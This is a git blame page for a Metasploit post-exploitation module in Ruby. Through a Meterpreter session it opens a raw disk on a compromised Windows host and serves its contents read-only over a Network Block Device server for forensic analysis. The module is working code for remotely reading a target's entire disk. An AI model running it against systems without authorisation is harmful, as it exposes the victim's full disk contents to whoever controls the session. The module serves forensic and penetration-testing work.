Files
metasploit-gs/modules/post/windows/gather/forensics/nbd_server.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

125 lines
3.7 KiB
Ruby
Raw Normal View History

2013-03-07 17:53:19 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 17:53:19 -06:00
##
# nbd_server.rb
#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew wesley@mcgrewsecurity.com
# http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
# http://msu-nftc.org
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Local NBD Server',
'Description' => %q{
Maps remote disks and logical volumes to a local Network Block Device server.
2021-09-10 12:53:39 +01:00
Allows for forensic tools to be executed on the remote disk directly.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
2021-10-06 13:43:31 +01:00
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
2021-09-10 12:53:39 +01:00
)
)
register_options(
[
2021-09-10 12:53:39 +01:00
OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
]
)
end
2013-08-30 16:28:54 -05:00
def run
ip_addr = datastore['NBDIP']
port = datastore['NBDPORT']
devname = datastore['DEVICE']
2013-08-30 16:28:54 -05:00
invalid_handle_value = 0xFFFFFFFF
invalid_set_file_pointer = 0xFFFFFFFF
fsctl_allow_extended_dasd_io = 0x00090083
ioctl_disk_get_drive_geometry_ex = 0x000700A0
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
handle = r['return']
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
2023-02-08 13:47:34 +00:00
ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')
2013-08-30 16:28:54 -05:00
2011-08-29 00:26:42 +00:00
if ioctl['GetLastError'] == 6
2023-02-08 13:47:34 +00:00
ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')
end
2013-08-30 16:28:54 -05:00
geometry = ioctl['lpOutBuffer']
2021-09-10 12:53:39 +01:00
disk_size = geometry[24, 31].unpack('Q')[0]
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
print_line("Listening on #{ip_addr}:#{port}")
print_line("Serving #{devname} (#{disk_size} bytes)")
2023-02-08 13:47:34 +00:00
rsock = socket.accept
print_line('Accepted a connection')
2013-08-30 16:28:54 -05:00
# Negotiation
rsock.put('NBDMAGIC')
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
rsock.put([disk_size].pack('Q').reverse)
rsock.put("\x00\x00\x00\x03") # Read-only
2021-09-10 12:53:39 +01:00
rsock.put("\x00" * 124)
2023-02-08 13:47:34 +00:00
print_line('Sent negotiation')
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
loop do
request = rsock.read(28)
2015-11-16 14:24:46 -06:00
unless request
2023-02-08 13:47:34 +00:00
print_error('No data received')
2015-11-16 14:24:46 -06:00
break
end
2023-02-08 13:47:34 +00:00
magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')
2013-08-30 16:28:54 -05:00
if magic != 0x25609513
2023-02-08 13:47:34 +00:00
print_line('Wrong magic number')
break
end
2013-08-30 16:28:54 -05:00
2011-08-29 00:59:21 +00:00
case request
2021-09-10 12:53:39 +01:00
when 2
break
when 1
2023-02-08 13:47:34 +00:00
print_line('Attempted write on a read-only nbd')
2021-09-10 12:53:39 +01:00
break
when 0
client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0], offset_n[0, 4].unpack('N')[0], 0)
rsock.put("gDf\x98\x00\x00\x00\x00")
rsock.put(nbd_handle)
data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
rsock.put(data)
end
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_line('Closing')
rsock.close
socket.close
2013-08-30 16:28:54 -05:00
client.railgun.kernel32.CloseHandle(handle)
end
2011-10-11 20:03:40 +00:00
end